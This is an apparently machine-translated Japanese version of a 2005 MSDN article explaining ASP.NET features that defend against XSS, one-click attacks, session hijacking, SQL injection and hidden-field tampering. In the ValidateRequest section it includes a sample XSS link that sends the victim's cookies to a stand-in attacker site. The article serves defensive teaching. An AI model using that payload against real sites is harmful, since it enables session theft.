ASP.NET の組み込み機能を活用し、Web 攻撃を回避する

 

Dino Esposito
Wintellect

2005 年 1 月

適用対象
   Microsoft ASP.NET 1。X
   Microsoft ASP.NET 2.0

概要: Dino は、Web 攻撃の最も一般的な種類を要約し、Web 開発者が ASP.NET の組み込み機能を使用してセキュリティを強化する方法について説明します。 (13ページ印刷)

内容

開発者 ASP.NET 脅威がどこから来たのかを常に行う必要がある内容
ViewStateUserKey
Cookie と認証
セッションハイジャック
EnableViewStateMac
ValidateRequest
データベースパースペクティブ
非表示フィールド
電子メールとスパム
まとめ
関連リソース

ASP.NET 開発者が常に行うべきことを

この記事を読んでいる場合は、Web アプリケーションでのセキュリティの重要性の高まりについて講義を受ける必要はありません。 ASP.NET アプリケーションにセキュリティを実装する方法に関する実用的なアドバイスを探している可能性があります。 悪いニュースは、開発プラットフォーム (ASP.NET を含む) が、採用後に 100% のセキュリティで保護されたコードを作成することを保証できないということです。つまり、誰がただ嘘をついていると言います。 ASP.NET に関する限り、ASP.NET(特にバージョン1.1と今後のバージョン2.0)は、多くの組み込みの防御障壁を統合し、すぐに使用できるということです。

これらすべての機能を適用するだけでは、Web アプリケーションをすべての可能で予測可能な攻撃から保護するだけでは不十分です。 ただし、他の防御手法やセキュリティ戦略と組み合わせることで、組み込みの ASP.NET 機能は、アプリケーションが安全な環境で動作することを保証するための強力なツールキットを形成します。

Web セキュリティは、データベース管理、ネットワーク構成、ソーシャル エンジニアリングとフィッシングを含む個々のアプリケーションの境界をはるかに超えたさまざまな要因と戦略の結果の合計です。

この記事の目的は、セキュリティ バーを適度に高く保つために開発者が常に行うべき ASP.NET を説明することです。 セキュリティとは主にセキュリティであり、ガードを維持し、完全に安全だと感じることはなく、悪者がハッキングするのを難しくしにくくします。

ジョブを簡略化するために提供する必要がある ASP.NET を見てみましょう。

脅威がどこから来たのか

表 1 では、最も一般的な種類の Web 攻撃と、それらを成功させる可能性があるアプリケーションの欠陥をまとめました。

攻撃 によって可能になりました。 . .
クロスサイト スクリプティング (XSS) 信頼されていないユーザー入力がページにエコーされた
SQL インジェクション SQL コマンドを形成するためのユーザー入力の連結
セッション ハイジャック セッション ID の推測と盗まれたセッション ID Cookie
ワンクリック スクリプト経由で送信された HTTP 投稿を認識する
非表示フィールドの改ざん 機密データが詰め込まれたオフ (および信頼済み) の非表示フィールド

表 1 一般的な Web 攻撃

リストから出てくる重要な事実は何ですか? 少なくとも次の3つ、私は言うでしょう:

  • ブラウザーのマークアップに任意の種類のユーザー入力を挿入するたびに、コードインジェクション攻撃 (SQL インジェクションと XSS のバリエーション) に自分自身を公開する可能性があります。
  • データベース アクセスは、アカウントに対して可能な限り最小限のアクセス許可セットを使用し、ロールを使用して個々のユーザーの責任を区切って、安全に実行する必要があります。
  • 機密データはネットワーク経由で送信されることはなく (クリア テキストとしても)、サーバーに安全に保存する必要があります。

上記の 3 つの点は、Web セキュリティの 3 つの異なる側面に対応しており、この組み合わせが防弾性と改ざん防止アプリケーションを構築するための唯一の合理的な方法であることに注意してください。 Web セキュリティのファセットは、次のように要約できます。

  • コーディング方法: データ検証、型とバッファーの長さのチェック、改ざん防止対策
  • データ アクセス戦略: ロールを使用して、可能な限り弱いアカウントを確保するか、ストアド プロシージャを使用するか、少なくともパラメーター化されたコマンドを使用します
  • 効果的なストレージと管理: 重要なデータをクライアントに送信せず、ハッシュ コードを使用して操作を検出し、ユーザーを認証し、ID を保護し、パスワードに厳格なポリシーを適用します

ご覧のように、セキュリティで保護されたアプリケーションは、開発者、アーキテクト、管理者の組み合わせによってのみ得られます。 それ以外の場合は、正しく取得できると想定しないでください。

ASP.NET アプリケーションを書くとき、あなたは自分の脳、スキル、指だけで武装してコードの行を入力するハッカーの軍隊と戦うためにあなた自身に残されていません。 ASP.NET 1.1 以降は、上記の脅威の一部に対して自動バリアを発生させるいくつかの特定の機能に役立ちます。 それらを詳細に確認しましょう。

ViewStateUserKey

ASP.NET 1.1 で導入された ViewStateUserKeyPage クラスの文字列プロパティで、使い慣れた開発者はごくわずかです。 なぜでしょうか。 ドキュメントに記載されている内容を読みましょう。

現在のページに関連付けられているビューステート変数の個々のユーザーに識別子を割り当てます

複雑なスタイルにもかかわらず、文はかなり明確です。しかし、あなたは正直にそれがプロパティの意図された目的を説明していると言うことができますか? ViewStateUserKey の役割を理解するには、「解説」セクションに到着するまで、もう少し読む必要があります。

プロパティは、改ざんからビューステートを保護するハッシュ値を作成するための追加の入力を提供することで、ワンクリック攻撃を防ぐのに役立ちます。 言い換えると、 ViewStateUserKey を使用すると、ハッカーがクライアント側のビューステートのコンテンツを使用してサイトに対して悪意のある投稿を準備することがはるかに困難になります。 プロパティには、空でない文字列 (セッション ID またはユーザーの ID) を割り当てることができます。 このプロパティの重要性をより深く理解するために、 ワンクリック 攻撃の基本を簡単に確認しましょう。

ワンクリック攻撃は、既知の脆弱な Web サイトに悪意のある HTTP フォームを投稿することです。 これは、通常、電子メールを介して受信した魅力的なリンクをクリックしたり、混雑したフォーラムをナビゲートするときに見つかった魅力的なリンクをクリックして、通常は気づかない被害者から始まるので、"ワンクリック"と呼ばれます。 リンクに従うことで、ユーザーは誤ってリモート プロセスをトリガーし、悪意のある <フォーム> をサイトに送信します。 正直に言うと、 [ ここをクリックして$1,000,000を獲得する ]のようなリンクに従ったことがないと言えますか? どうやら、あなたに悪いことは何も起こっていないようです。 これが正しいと仮定しましょう。Web コミュニティの他のすべての部分で同じことを言うことができますか? 誰にもわかりません。

成功するには、ワンクリック攻撃には特定のバックグラウンド条件が必要です。

  • 攻撃者は脆弱なサイトについて多くのことを知っている必要があります。 これは、攻撃者がファイルを "熱心に" 調査したか、または内部で怒っている (解雇された不誠実な従業員など) ことが原因で発生する可能性があります。 このため、攻撃は壊滅的になる可能性があります。
  • サイトは、シングル サインオンを実装するために Cookie (永続的な Cookie の方が良い場合) を使用している必要があり、攻撃者は有効な認証 Cookie を受け取っている必要があります。
  • サイトの特定のユーザーは、機密性の高いトランザクションに関与しています。
  • 攻撃者はターゲット ページにアクセスできる必要があります。

前述のように、攻撃は、フォームを必要とするページに悪意のある HTTP フォームを送信することです。 合理的に、このページでは、機密性の高い操作を実行するために投稿されたデータを使用します。 合理的に、攻撃者は各フィールドがどのように使用されるかを正確に知っており、スプーフィングされた値を考え出して目標を達成できます。 これは通常、標的型攻撃であり、確立した三角形の取引のために追跡することも困難です。ハッカーはハッカーのサイト上のリンクをクリックするように被害者を誘導し、不正なコードを第 3 のサイトに投稿します。 (図 1 を参照)。

ms972969.securitybarriers01(en-us,MSDN.10).gif

図 1. ワンクリック攻撃

なぜ疑いのない被害者? このため、この方法では、サーバー ログには、不適切な要求が発生した IP アドレスが、被害者の IP アドレスであることが示されているためです。 前述のように、この攻撃は "クラシック" XSS ほど一般的ではありません (簡単に配置できます)。しかし、その性質は壊滅的になる可能性があります。 その治療法は何ですか? ASP.NET コンテキストでの攻撃の仕組みを確認しましょう。

アクションが Page_Load イベントでコーディングされていない限り、ASP.NET ページがポストバック イベントの外部で機密コードを実行する方法はありません。 ポストバック イベントを実行するには、ビュー ステート フィールドが必須です。 ASP.NET は要求のポストバック状態をチェックし、_VIEWSTATE入力フィールドの存在に基づいてそれに応じて IsPostBack を設定することに注意してください。 そのため、偽の要求を ASP.NET ページに送信する必要があるユーザーは、必ずしも有効なビューステート フィールドを指定する必要があります。

ワンクリック攻撃を機能させるには、ハッカーがページにアクセスできる必要があります。 この問題が発生すると、遠く離れたハッカーがページをローカルに保存しました。 そのため、_VIEWSTATE フィールドにアクセスし、そのフィールドを使用して、古いビューステートと悪意のある値を含む要求を他のフィールドに作成できるようになりました。 問題は、これは機能しますか?

なぜでしょうか。 攻撃者が有効な認証 Cookie を提供できる場合は、ハッカーが侵入し、要求が定期的に処理されます。 ビュー ステートの内容はサーバー上でまったくチェックされません ( EnableViewStataMac がオフの場合)、または改ざんに対してのみチェックされます。 既定では、ビューステートには、そのコンテンツを特定のユーザーに結び付けるものは何もありません。 攻撃者は、取得したビューステートを簡単に再利用してページに法的アクセスを行い、別のユーザーに代わって偽の要求を作成できます。 ここで 、ViewStateUserKey が適合します。

プロパティを正確に選択すると、ユーザー固有の情報がビュー ステートに追加されます。 要求が処理されると、ASP.NET はビューステートからキーを抽出し、実行中のページの ViewStateUserKey と比較します。 2 つの一致する場合、要求は正当と見なされます。それ以外の場合は、例外がスローされます。 プロパティの有効な値は何ですか?

ViewStateUserKey をすべてのユーザーに対して同じ定数文字列に設定することは、空白のままにするようなものです。 ユーザー ID またはより適切なセッション ID など、ユーザーごとに異なる値に設定する必要があります。 さまざまな技術的および社会的な理由により、セッション ID の方がはるかに適しています。セッション ID は予測できず、タイムアウトし、ユーザーごとに異なるためです。

次に示すコードを、すべてのページに組み込む必要があります。

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

この記述を何度も繰り返し行わないようにするには、Page 派生クラスの OnInit 仮想メソッドでボルトで固定します。 ( Page.Init イベントでこのプロパティを設定する必要があることに注意してください)。

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

全体として、基本ページ クラスの使用は常に良いことです。記事「 Build Your ASP.NET Pages on a Richer Bedrock」で説明します。 ワンクリック攻撃者の戦術の詳細については、 aspnetpro.com に関する優れた記事を参照してください。

Cookie と認証

Cookie は、開発者が結果を得るのに役立つ可能性があるため、存在します。 Cookie は、ブラウザーとサーバーの間の永続的なリンクとして動作します。 特にシングル サインオンを使用するアプリケーションでは、盗まれた Cookie が攻撃を可能にするだけです。 これは確かにワンクリック攻撃の場合です。

Cookie を使用するには、明示的に作成してプログラムで読み取る必要はありません。 セッション状態を使用する場合、およびフォーム認証を実装する場合は、Cookie を暗黙的に使用します。 確かに、ASP.NET はクッキーレスセッション状態をサポートしており、ASP.NET 2.0ではクッキーレスフォーム認証も導入されています。 したがって、理論的には、クッキーを使用せずにこれらの機能を使用することができます。 私はあなたがする必要はないと言っているわけではありませんが、これは救済策が病気よりもさらに悪くなる可能性があるケースの一つに過ぎません。 Cookie レス セッションは、実際には、セッション ID を URL に埋め込んで、すべてのユーザーに表示されるようにします。

クッキーの使用に関する潜在的な問題は何ですか? Cookie は盗まれ (つまり、ハッカーのコンピューターにコピーされます)、有害 (つまり、悪意のあるデータで埋め込まれる) 可能性があります。 これらのアクションは、多くの場合、受信攻撃の前奏曲です。 盗まれた場合、認証 Cookie は外部ユーザーがアプリケーションに接続することを "承認" し (保護されたページを使用します)、ハッカーが承認を喜んでバイパスし、被害者が許可する役割やセキュリティ設定を行う可能性があります。 このため、認証 Cookie には通常、比較的短い有効期間 (30 分) が付与されます。 (ブラウザーのセッションの完了に時間がかかる場合でも、Cookie の有効期限が切れる点に注意してください)。盗難の場合、ハッカーは攻撃を試みるために30分の時間枠を持っています。

このウィンドウを拡大すると、ユーザーが頻繁にログオンする必要がないようにすることができます。自分の危険でこれを行うことに注意してください。 いずれの場合も、永続的なクッキー ASP.NET 使用しないでください。 そうすることで、クッキーの有効期間は50年もの間、事実上多年になります。 次のコード スニペットは、必要に応じ Cookie の有効期限を変更する方法を示しています。

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

このコードを独自のログイン フォームで使用して、認証 Cookie の有効期間を微調整することができます。

セッションハイジャック

Cookie は、特定のユーザーのセッション状態を取得するためにも使用されます。 セッションの ID は、要求と共に行き来する Cookie に格納され、ブラウザーのコンピューターに格納されます。 繰り返しますが、盗まれた場合は、セッションクッキーを使用してハッカーをシステムに入れ、他のユーザーのセッション状態にアクセスできます。 言うまでもなく、これは、指定されたセッションがアクティブである限り 、通常は 20 分以内に発生する可能性があります。 スプーフィングされたセッション状態を介して行われた攻撃は、 セッション ハイジャックと呼ばれます。 セッションハイジャックの詳細については、「 Web 上の盗難: セッションハイジャックの防止」を参照してください。

この攻撃はどれくらい危険ですか? 言いにくい。 これは、Web サイトが何を行うか、さらに重要なことに、そのページがどのように設計されているかによって異なります。 たとえば、他のユーザーのセッション Cookie を取得し、それをサイト上のページに要求に添付できたとします。 ページを読み込み、通常のユーザー インターフェイスを使用して作業します。 ページに挿入できるコードはなく、ページに変更できるコードはありません。ただし、ページが別のユーザーのセッション状態を使用して動作する点が除きます。 これはそれ自体は悪くはありませんが、セッション内の情報が機密性が高く重要である限り、ハッカーを成功に導く可能性があります。 見て、ハッカーはセッションストアのコンテンツにスヌーピングすることはできませんが、それに格納されているものは、ハッカーが正当に入ったかのように使用されます。 たとえば、ユーザーがサイト内を移動する際にショッピング カートにアイテムを追加する e コマース アプリケーションがあるとします。

  • シナリオ #1。 ショッピング カートの内容は、セッション状態で格納されます。 ただし、チェックすると、ユーザーはセキュリティで保護された SSL 接続を介して支払いの詳細を確認して入力するように要求されます。 この場合、別のユーザーのセッション状態に接続すると、ハッカーは被害者の買い物の好みに関するいくつかの詳細を知ることができます。 このコンテキストでのハイジャックによる損害の並べ替えはありません。 機密性のみが危険にさらされます。
  • シナリオ #2。 アプリケーションは、登録されている各ユーザーのプロファイルを処理し、そのプロファイルをセッション状態に格納します。 悲しいかな、プロファイル (場合によっては) には、クレジットカード情報が含まれています。 ユーザー プロファイルの詳細をセッションに格納する理由 おそらく、アプリケーションの目標の 1 つは、最終的にユーザーがクレジット カードと銀行情報を何度も入力するのを防ぐという点です。 そのため、チェックアウト時に、アプリケーションはユーザーを事前入力されたフィールドを含むページに移動します。 これらのフィールドの 1 つは、セッション状態から取得されたクレジット カード番号です。 これで、ストーリーの終わりを推測できますか?

アプリケーションのページの設計は、セッションハイジャック攻撃を防ぐための鍵です。 ただし、2 つのポイントは開いたままです。 1つ目は、クッキーの盗難を防ぐために何ができますか? 2 つ目は、ハイジャックを検出してブロックするために ASP.NET できることです。

ASP.NET セッションクッキーは非常にシンプルであり、唯一のセッションID文字列を含むに制限されています。 ASP.NET ランタイムは、Cookie からセッション ID を抽出し、アクティブなセッションと照合します。 ID が有効な場合、ASP.NET は対応するセッションに接続して続行します。 この動作により、有効なセッション ID を盗んだ、または推測できるハッカーの生活が大幅に簡素化されます。

XSS 攻撃と中間者攻撃、およびクライアント PC へのブルート アクセスはすべて、有効な Cookie を取得する方法です。 盗難を防ぐには、XSS とそのすべてのバリエーションが成功しないようにセキュリティのベスト プラクティスを実装する必要があります。

セッション ID の推測を防ぐには、単にスキルを過剰に評価しないようにする必要があります。 セッション ID を推測することは、有効なセッション ID 文字列を予測する方法がわかっていることを意味します。 ASP.NET で使用されるアルゴリズム (URL 対応の文字にマップされた 15 個の乱数) を考えると、偶然に有効な ID を推測する可能性は 0 に近くなります。 既定のセッション ID ジェネレーターを独自のものに置き換えると考えられる理由はありません。 多くの場合、攻撃者の生活が簡単になるだけです。

セッションハイジャックの悪いことは、クッキーが盗まれたり推測されたりすると、クッキーの不正使用を検出するためにできることはあまり ASP.NET ないということです。 繰り返しますが、ASP.NET はIDの有効性をチェックすることに制限し、クッキーの起源を疑問に思うということです。

私の Wintellect pal Jeff Prosise は 、MSDN マガジンのセッションハイジャックに関する優れた記事を書きました。 彼の結論はほとんど快適さを提供しません。盗まれたセッション ID クッキーに依存する攻撃に対する愚かな防御を構築することは事実上不可能ですが、彼が開発したコードは、セキュリティ バーをさらに高めるためのスマートなヒントを提供します。 Jeff は、セッション ID Cookie の受信要求と送信応答を監視する HTTP モジュールを作成しました。 このモジュールでは、送信セッション ID にハッシュ コードが追加され、攻撃者がその Cookie を再利用するのが困難になります。 詳細 については、こちらを参照してください

EnableViewStateMac

ビューステートは、同じページに対する 2 つの連続する要求にわたってコントロールの状態を保持するために使用されます。 既定では、ビューステートは Base64 でエンコードされ、改ざんを防ぐためにハッシュ値で署名されています。 既定のページ設定を変更しない限り、ビューステートは改ざんのリスクはありません。 攻撃者がビューステートを変更した場合、または適切なアルゴリズムを使用してビューステートを再構築した場合でも、ASP.NET は試行をキャッチし、例外をスローします。 改ざんされたビューステートは必ずしも有害ではなく、サーバーコントロールの状態を変更しますが、深刻な感染症の乗り物になる可能性があります。 このため、既定で行われるマシン認証コード (MAC) のクロスチェックを削除 しないこと が非常に重要です。 図 2 を参照してください。

ms972969.securitybarriers02(en-us,MSDN.10).gif

図 2. EnableViewStateMac が有効になっているとき、ビューステートが本質的に改ざんに対して耐性を持つもの

MAC チェックが有効になっている場合 (既定値)、シリアル化されたビュー ステートには、サーバー側の値とビュー ステート のユーザー キー (存在する場合) の結果のハッシュ値が追加されます。 ビューステートがポストバックされると、ハッシュ値は新しいサーバー側の値を使用して再び計算され、格納されている値と比較されます。 2 つの一致する場合、要求は許可されます。それ以外の場合は、例外がスローされます。 ハッカーがビューステートを解読して再構築するスキルを持っていると仮定したとしても、サーバーに格納された値を知って有効なハッシュを思い付く必要があります。 具体的には、ハッカーは、machine.configの machineKey> エントリで参照されているマシン キーを<認識する必要があります。

既定では、 <machineKey> エントリは自動生成され、Windows ローカル セキュリティ機関 (LSA) に物理的に格納されます。 ビュー ステートのマシン キーがすべてのマシンで同じである必要がある Web ファームの場合にのみ、machine.config ファイルでクリア テキストとして指定する必要があります。

ビュー ステート MAC チェックは、EnableViewStateMac という名前の@Page ディレクティブ属性を使用して制御されます。 前述のように、既定では true に設定されています。 決して無効にしないでください。ビューステート改ざんワンクリック攻撃を可能にし、成功の可能性が高くなります。

ValidateRequest

クロスサイト スクリプティング (XSS) は、多くの経験豊富な Web 開発者にとって古い知り合いであり、1999 年くらいから存在します。 簡単に言うと、XSS はコード内の穴を悪用して、ハッカーの実行可能コードを別のユーザーのブラウザー セッションに導入します。 挿入されたコードは、Cookie を取得してハッカーの制御された Web サイトにコピーをアップロードしたり、ユーザーの Web セッションを監視してデータを転送したり、不正な情報を与えるハッキングされたページの動作と外観を変更したり、それ自体を永続的にしたりして、次回ユーザーがページに戻るなど、さまざまなアクションを実行できます。 不正なコードが再度実行されます。 XSS 攻撃の基本の詳細については、TechNet の クロスサイト スクリプティングの概要に関する記事を参照してください。

XSS 攻撃を可能にするコード内の抜け穴は何ですか?

XSS は、HTML ページを動的に生成し、ページにエコーされた入力を検証しない Web アプリケーションを悪用します。 ここで入力するということは、クエリ文字列、Cookie、フォーム フィールドの内容を意味します。 このコンテンツが適切なサニティ チェックなしでオンラインになった場合、ハッカーがそれを操作してクライアント ブラウザーで悪意のあるスクリプトを実行するリスクがあります。 (結局のところ、前述のワンクリック攻撃は最近のXSSのバリエーションです。一般的な XSS 攻撃では、疑いのないユーザーが、エスケープされたスクリプト コードを埋め込む魅力的なリンクに従う必要があります。 不正なコードは、信頼して出力する脆弱なページに送信されます。 何が起こるかの例を次に示します。

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

ユーザーは明らかに安全なリンクをクリックし、脆弱なページにスクリプト コードの一部を渡し、最初にユーザーのマシン上のすべての Cookie を取得し、ハッカーの Web サイト上のページに送信します。

XSS はベンダー固有の問題ではなく、必ずしもインターネット エクスプローラーの穴を悪用するわけではないことに注意してください。 これは、現在市場に出回っているすべての Web サーバーとブラウザーに影響します。 さらに重要なのは、修正するパッチが 1 つがないことに注意してください。 ページを XSS から確実に保護できます。そのためには、特定のメジャーを適用し、コーディングプラクティスを正しく行います。 さらに、攻撃者は、攻撃を開始するためにユーザーがリンクをクリックする必要はありません。

XSS から保護するには、主に有効な入力を決定し、残りをすべて拒否する必要があります。 XSS 攻撃を阻止するための詳細なチェックリストについては、Microsoft の「Michael Howard と David LeBlanc によるセキュリティで保護されたコードの記述 」を参照してください。 特に、第 13 章を慎重に見ることをお勧めします。

悪質な XSS 攻撃を阻止する主な方法は、入力に適切で強固な検証レイヤー (任意の種類の入力データ) を追加することです。 たとえば、それ以外の無害な色 (RGB トリプレット) でも、制御されていないスクリプトをページに直接移動できる 状況 があります。

ASP.NET 1.1 では、有効にすると、@Page ディレクティブの ValidateRequest 属性によって、ユーザーがクエリ文字列、Cookie、またはフォーム フィールドで危険な HTML マークアップを送信していないことが確認されます。 これが検出されると、例外がスローされ、要求が中止されます。 属性は既定でオンになっています。保護するために何もする必要はありません。 HTML マークアップの渡しを許可する場合は、それをアクティブに無効にする必要があります。

<%@ Page ValidateRequest="false" %>

ValidateRequest は銀色の箇条書き ではなく 、有効な検証レイヤーを置き換えることはできません。 この機能が実際にどのように機能するかについての貴重な情報を得るには、 こちらを参照 してください。 基本的に正規表現を適用して、害を受ける可能性のあるいくつかのシーケンスをキャッチします。

メモValidateRequest 機能にはもともと欠陥があります。期待どおりに動作するには、パッチを適用する必要があります。 これは、多くの場合、気付かれていない貴重な情報です。 不思議なことに、私は自分のマシンの1つがまだ欠陥の影響を受けることがわかりました。 ぜひお試しください。

ValidateRequest を保持しない理由はありません。 無効にすることはできますが、非常に正当な理由が必要です。そのうちの1つは、より良い書式設定オプションを得るためにサイトにいくつかのHTMLを投稿できるというユーザー要件である可能性があります。 この場合は、許可される HTML タグの数 (<pre>b>、<i>、<p>、<br>、hr) を制限し、<<他の何も許可または受け入れられないようにする正規表現を記述する必要があります。>

XSS から ASP.NET アプリケーションを保護するのに役立ついくつかのヒントを次に示します。

  • HttpUtility.HtmlEncode を使用して、危険なシンボルを HTML 表現に変換します。
  • HTML エンコードでは二重引用符のみがエスケープされるので、単一引用符ではなく二重引用符を使用します。
  • 使用できる文字数を制限するようにコード ページを強制します。

要約すると、 ValidateRequest 属性を使用しますが、完全には信頼せず、遅延しすぎないようにします。 XSS のようなセキュリティ上の脅威を根本から理解し、1 つの重要なポイントを中心とした防御戦略を計画するために時間を費やします。すべてのユーザー入力を悪と考えてください。

データベースパースペクティブ

SQL インジェクションは、フィルター処理されていないユーザー入力を使用してデータベース コマンドを形成するアプリケーションを悪用するもう 1 つの既知の種類の攻撃です。 アプリケーションがユーザーがフォーム フィールドに入力した内容を使用して SQL コマンド文字列を作成すると、悪意のあるユーザーがページにアクセスし、不正なパラメーターを入力してクエリの性質を変更する可能性があるリスクにさらされます。 SQL インジェクションの詳細については、 こちらを参照してください

SQL インジェクション攻撃を阻止する方法は多数あります。 最も一般的な手法を次に示します。

  • ユーザー入力が適切な種類であり、想定されるパターン (郵便番号、SSN、電子メール アドレス) に従っていることを確認します。 テキストボックスから数値が必要な場合は、ユーザーが数値に変換できないものを入力した場合に要求をブロックします。
  • パラメーター化されたクエリ、またはより適切なストアド プロシージャを使用します。
  • SQL Serverアクセス許可を使用して、各ユーザーがデータベースで実行できる操作を制限します。 たとえば、xp_cmdshellを無効にしたり、管理者に制限したりすることができます。

ストアド プロシージャを使用する場合は、攻撃対象領域を大幅に減らします。 ストアド プロシージャでは、実際には SQL 文字列を動的に作成する必要はありません。 さらに、パラメーターは、指定した型に対してSQL Serverで検証されます。 これだけでは 100% のセキュリティで保護された手法ではありませんが、検証と組み合わせることで、より安全になります。

承認されたユーザーのみが、テーブルの削除などの壊滅的な操作を実行するようにすることがさらに重要です。 これには、アプリケーションの中間層を慎重に設計する必要があります。 セキュリティだけでなく、ロールに焦点を当てることが適切な手法です。 ロールでユーザーをグループ化し、アクセス許可の最小セットを持つ各ロールのアカウントを定義します。

数週間前、Wintellect Web サイトは高度な形式の SQL インジェクションによって攻撃を受けています。 ハッカーは、(悪意のある)実行可能ファイルをダウンロードするために FTP スクリプトを作成して起動しようとしました。 攻撃が失敗したのは幸運でした。 または、入力の検証、ストアド プロシージャの使用、攻撃の動作を妨げるSQL Serverアクセス許可の使用は、かなり強力でしたか?

要約すると、次のガイドラインに従って、SQL コードの不要な挿入を回避します。

  • 最小限の特権で実行し、コードを "sa" として実行しないでください。
  • 組み込みのストアド プロシージャへのアクセスを制限します。
  • SQL パラメーター化クエリを優先します。
  • 文字列連結を使用してステートメントを作成せず、データベース エラーをエコーしません。

非表示フィールド

従来の ASP では、要求間でデータを保持する唯一の方法は非表示フィールドです。 次の要求で取得する必要があるデータは、非表示 <の入力> フィールドにパックされ、ラウンドトリップされます。 クライアントで、誰かがフィールドに格納されている値を変更した場合はどうなりますか? サーバー側環境では、テキストが明確である限り、それを把握する方法はありません。 ページと個々のコントロールの ASP.NET ViewState プロパティは、2 つの目的を果たします。 一方で、 ViewState は要求間で状態を保持する手段です。一方、 ViewState を使用すると、保護された改ざん防止の非表示フィールドにカスタム値を格納できます。

図 2 に示すように、ビュー ステートにはハッシュ値が追加され、改ざんを検出するための要求ごとにチェックされます。 いくつかのケースを除き、ASP.NET で非表示フィールドを使用する理由はありません。 ビューステートは、はるかに安全な方法で同じです。 価格やクレジットカードの詳細などの機密性の高い値を明確な隠しフィールドに格納することは、ハッカーにドアを開いたままにしておくことに似ていると前もって述べました。ビューステートは、データ保護メカニズムのために、この悪い習慣を以前よりも危険にさらすことさえありません。 ただし、ビューステートは改ざんを防ぎますが、暗号化しない限り機密性を保証しないため、ビューステートに格納されているクレジットカード詳細は危険にさらされます。

ASP.NET で非表示フィールドを使用できるのはいつですか? サーバーにデータを送り返す必要があるカスタム コントロールを構築する場合。 たとえば、列の並べ替えをサポートする新しい DataGrid コントロールを作成するとします。 ポストバック時に新しい注文をサーバーに戻す必要があります。 非表示フィールドに格納されていない場合、この情報は他にどこに保存できますか?

非表示フィールドが読み取り/書き込みフィールドである場合(つまり、クライアントがそれに書き込む必要があります)、ハッカー対策としてできることはあまりありません。 テキストをハッシュまたは暗号化することはできますが、ハッキングされないという合理的な確実性は得られません。 ここでの最善の防御は、隠しフィールドに不活性で無害な情報を含める方法です。

これは、ASP.NET が、シリアル化されたオブジェクトのエンコードとハッシュに使用できる、あまり知られていないクラスを公開している点に注意する価値があります。 クラスは LosFormatter であり、クライアントにラウンドトリップされたエンコードされたテキストを作成するために ViewState 実装で使用されるクラスと同じです。

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

上記のコード スニペットは、 LosFormatter を使用して、エンコードおよびハッシュされたビューステートに似たコンテンツを作成する方法を示しています。

電子メールとスパム

この記事を終了するために、最も一般的な攻撃の少なくとも 2 つ (クラシック XSS とワンクリック) は、疑いのない被害者に、魅力的なリンクとスプーフィングされたリンクをクリックするように誘導することによって行われることを指摘します。 多くの場合、このようなリンクは受信トレイに直接見つかります。スパム対策フィルターは何の問題もありません。 電子メール アドレスのボリュームは、数ドルで購入できます。 このようなリストを作成するために使用されるメイン手法の 1 つは、電子メール アドレスのように見えるものを探している Web サイト上のパブリック ページをスキャンし、つかみ取る方法です。

ページに電子メール アドレスが表示される場合は、遅かれ早かれ Web ロボットによってキャッチされる可能性が高くなります。 本当でしょうか? 電子メール アドレスの表示方法によって大きく異なります。 ハードコーディングすると、失われます。 dino-at-microsoft-dot-comなどの代替表現に頼る場合、本当にWebロボットをだますかどうかは明らかではありません。確かに、あなたは正当な連絡先を確立したいあなたのページを読んで人間を刺激します。

全体的に、メール アドレスを mailto リンクとして動的に生成する方法を理解する必要があります。 これは、マルコ・ベッリーナソによって書かれた無料のコンポーネントが行うものです。 DotNet2TheMax Web サイトから完全なソース コードを使用して取得できます。

まとめ

Web がおそらくすべてのランタイム環境の中で最も敵対的であることを疑う人はいますか? これは、誰もがWebサイトにアクセスし、良いデータと悪いデータを渡そうとするという事実から来ています。 しかし、ユーザー入力を受け入れない Web アプリケーションを作成することは本当に理にかなっていますか?

そのため、ファイアウォールの強度や利用可能なパッチの適用頻度に関係なく、本質的に脆弱な Web アプリケーションを実行している場合、遅かれ早かれ、攻撃者はメインの入り口 、つまりポート 80 を通ってシステムの心臓部に直接歩きます。

ASP.NET アプリケーションは、他の Web アプリケーションよりも脆弱でもセキュリティも強化されていません。 セキュリティと脆弱性の両方は、コーディングプラクティス、フィールドからの経験、チームワークから派生します。 ネットワークがセキュリティで保護されていない場合、アプリケーションはセキュリティで保護されません。同様に、ネットワークがどれだけ安全で適切に管理されているかに関係なく、攻撃者はアプリケーションが壊れている場合に常に自分の方法を見つけます。

ASP.NET の美しさは、数回のクリックでセキュリティバーを通過可能なレベルに上げるためにいくつかの優れたツールを提供することです。 しかし、それは十分なレベル ではありません 。 組み込みソリューション ASP.NET だけに依存しないでください。ただし、どちらも無視する必要はありません。 また、最も一般的な攻撃について可能な限り学習します。

この記事では、組み込み機能の注釈付きリストと、攻撃と防御に関するいくつかの背景について説明します。 進行中の攻撃を検出するための手法は別の話であり、おそらく別の記事が必要です。

Michael Howard と David LeBlanc によるセキュリティで保護されたコードの記述

TechNet マガジン、Web 上の盗難: セッションハイジャックを防ぐ

 

作成者について

Dino Esposito は、イタリアを拠点とする Wintellect インストラクターおよびコンサルタントです。 Microsoft ASP.NET プログラミングの著者で、Microsoft ASP.NET 2.0 の紹介 (Microsoft Press の両方) では、ほとんどの時間を ASP.NET と ADO.NET の授業に費やし、会議で講演しています。 で Dino のブログを見る https://weblogs.asp.net/despos

© Microsoft Corporation. All rights reserved.